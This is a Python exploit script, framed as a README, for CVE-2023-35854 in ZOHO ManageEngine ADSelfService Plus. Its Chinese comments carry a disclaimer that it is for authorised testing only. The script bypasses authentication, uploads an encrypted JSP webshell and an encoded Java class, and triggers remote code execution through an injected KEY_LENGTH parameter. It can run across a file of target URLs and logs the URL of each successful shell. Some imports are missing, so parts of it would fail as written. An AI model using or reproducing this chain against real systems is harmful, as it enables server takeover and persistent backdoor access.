README.md
Rendering markdown...
#!/usr/bin/env python3
# Author: CrazyFrog
# 本代码参考修改自用户970198175,源链接 https://github.com/970198175/Simply-use/blob/main/CVE-2023-35854.py
# 未经授权许可使用本项目攻击或测试目标是非法的,本程序应仅用于授权的安全测试与研究目的,请使用者遵照网络安全法合理使用!
# 如果使用者使用该工具出现任何非法攻击等违法行为,与作者无关!
import argparse
import requests
import warnings
import urllib3
proxies = {}
urllib3.disable_warnings()
warnings.filterwarnings("ignore")
def urlget(url, count=0):
max_count = 1
if count > max_count:
return 0
try:
response = requests.get(url, timeout=10, verify=False, proxies=proxies)
status_code = response.status_code
return status_code
except:
return urlget(url, count + 1)
def check(url, count=0):
max_count = 1
if count > max_count:
print(f"递归超过限制: {url}")
return
status_code = urlget(url)
if status_code == 200:
check1(url)
elif status_code == 0:
print(f"访问失败: {url}")
return
else:
new_url = redirect_url(url)
check(new_url, count + 1)
def redirect_url(url):
if url.startswith("https://"):
new_url = url.replace("https://", "http://")
else:
new_url = url.replace("http://", "https://")
return new_url
def check1(turl):
check_bypass_endpoint = "/./RestAPI/LogonCustomization"
chek_url = turl + check_bypass_endpoint
try:
s = requests.Session()
data = {"methodToCall": "previewMobLogo"}
req = requests.Request(url=chek_url, method='POST', data=data)
prep = req.prepare()
prep.url = chek_url
response = s.send(prep, timeout=8, verify=False, proxies=proxies)
if '<script type="text/javascript">var d = new Date();' in response.text:
upload_jsp(turl)
else:
print("[-] " + chek_url + " ---Target doesn't seem vulnerable")
except Exception as e:
print("[-] " + turl + " ---url请求失败")
def upload_jsp(turl):
upload_url = turl + "/./RestAPI/LogonCustomization"
webshell = """
<%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}
%>"""
files = {'CERTIFICATE_PATH': ('crazy.txt', webshell)}
data = {"methodToCall": "unspecified", "Save": "yes", "form": "smartcard", "operation": "Add"}
try:
s = requests.Session()
req = requests.Request(url=upload_url, method='POST', files=files, data=data)
prep = req.prepare()
prep.url = upload_url
response = s.send(prep, verify=False, timeout=15, proxies=proxies)
if response.status_code == 404:
upload_java_class(turl)
else:
print("[-] " + upload_url + " ---Can't upload webshell")
except Exception as e:
print("[-] " + turl + " ---jsp请求失败")
# 请根据需求完善 upload_java_class 函数...
def upload_java_class(turl):
upload_url = turl + "/./RestAPI/LogonCustomization"
java1_8_payload_b64 = "yv66vgAAADQALAoADgAYBwAZCAAaCAAbCAAcCAAdCAAeCgAfACAKAB8AIQgAIggAIwcAJAcAJQcAJgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAAg8Y2xpbml0PgEADVN0YWNrTWFwVGFibGUHACQBAApTb3VyY2VGaWxlAQAKQ3JhenkuamF2YQwADwAQAQAQamF2YS9sYW5nL1N0cmluZwEAA2NtZAEAAi9jAQAEY29weQEACWNyYXp5LnR4dAEAKC4uXHdlYmFwcHNcYWRzc3BcaGVscFxhZG1pbi1ndWlkZVxseS5qc3AHACcMACgAKQwAKgArAQADZGVsAQALQ3JhenkuQ2xhc3MBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAFQ3JhenkBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQANAA4AAAAAAAIAAQAPABAAAQARAAAAHQABAAEAAAAFKrcAAbEAAAABABIAAAAGAAEAAAADAAgAEwAQAAEAEQAAAL8ABAAGAAAAcAi9AAJZAxIDU1kEEgRTWQUSBVNZBhIGU1kHEgdTS7gACCq2AAlMB70AAlkDEgNTWQQSBFNZBRIKU1kGEgZTTbgACCy2AAlOB70AAlkDEgNTWQQSBFNZBRIKU1kGEgtTOgS4AAgZBLYACToFpwAES7EAAQAAAGsAbgAMAAIAEgAAACYACQAAAAYAHgAHACYACAA/AAkARwAKAGEACwBrAA0AbgAMAG8ADgAUAAAACQAC9wBuBwAVAAABABYAAAACABc="
files = {'CERTIFICATE_PATH': ('Crazy.class', BytesIO(b64decode(java1_8_payload_b64)))}
data = {"methodToCall": "unspecified", "Save": "yes", "form": "smartcard", "operation": "Add"}
try:
s = requests.Session()
req = requests.Request(url=upload_url, method='POST', files=files, data=data)
prep = req.prepare()
prep.url = upload_url
response = s.send(prep, verify=False, proxies=proxies)
if response.status_code == 404:
execute_rce(turl)
else:
print("[-]" + upload_url + " ---Can't upload Java Class")
except Exception as e:
print("[-]" + turl + " ---java_class请求失败")
def execute_rce(turl):
rce_url = turl + "/./RestAPI/Connection"
s = requests.Session()
data = {"methodToCall": "openSSLTool", "action": "generateCSR",
"KEY_LENGTH": '1024 -providerclass Crazy -providerpath "..\\bin"'}
req = requests.Request(url=rce_url, method='POST', data=data)
prep = req.prepare()
prep.url = rce_url
try:
response = s.send(prep, verify=False, proxies=proxies)
if response.status_code == 404:
verify_webshell(turl)
else:
print("[-]" + rce_url + " ---Can't trigger RCE from Java Class")
except Exception as e:
print("[-]" + turl + " ---rce请求失败")
def verify_webshell(turl):
webshell_url = turl + "/help/admin-guide/ly.jsp"
try:
response = requests.post(webshell_url, data={}, verify=False, proxies=proxies)
if (response.status_code == 404):
print("[-]" + webshell_url + " Can't find webshell")
else:
print("[+]" + webshell_url + " Webshell successfully upload.")
try:
dir_path = os.path.dirname(os.path.abspath(__file__))
f = open(os.path.join(dir_path, 'result.txt'), 'a', encoding='utf-8')
f.write(webshell_url + '\n')
f.close()
except Exception as e:
print('写入文件失败:', e)
finally:
f.close()
except Exception as e:
print("[-]" + webshell_url + " ---Can't parse response")
def main():
print("CVE-2023-35854: ZOHO ManageEngine ADSelfService Plus")
parser = argparse.ArgumentParser(description='Scan for vulnerability')
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument('-u', '--url', type=str, help='Specify a single target URL')
group.add_argument('-r', '--read', type=str, help='Specify a file containing target URLs')
args = parser.parse_args()
if args.url:
if not "http" in args.url:
print("Please specify schema (http/https)")
exit(1)
check(args.url)
elif args.read:
try:
with open(args.read, 'r') as file:
urls = file.readlines()
for url in urls:
url = url.strip() # 去掉前后空白
if not url.startswith("http"):
print(f"Skipping invalid URL: {url}")
continue
check(url)
except Exception as e:
print(f"无法读取文件 {args.read}:{e}")
if __name__ == '__main__':
main()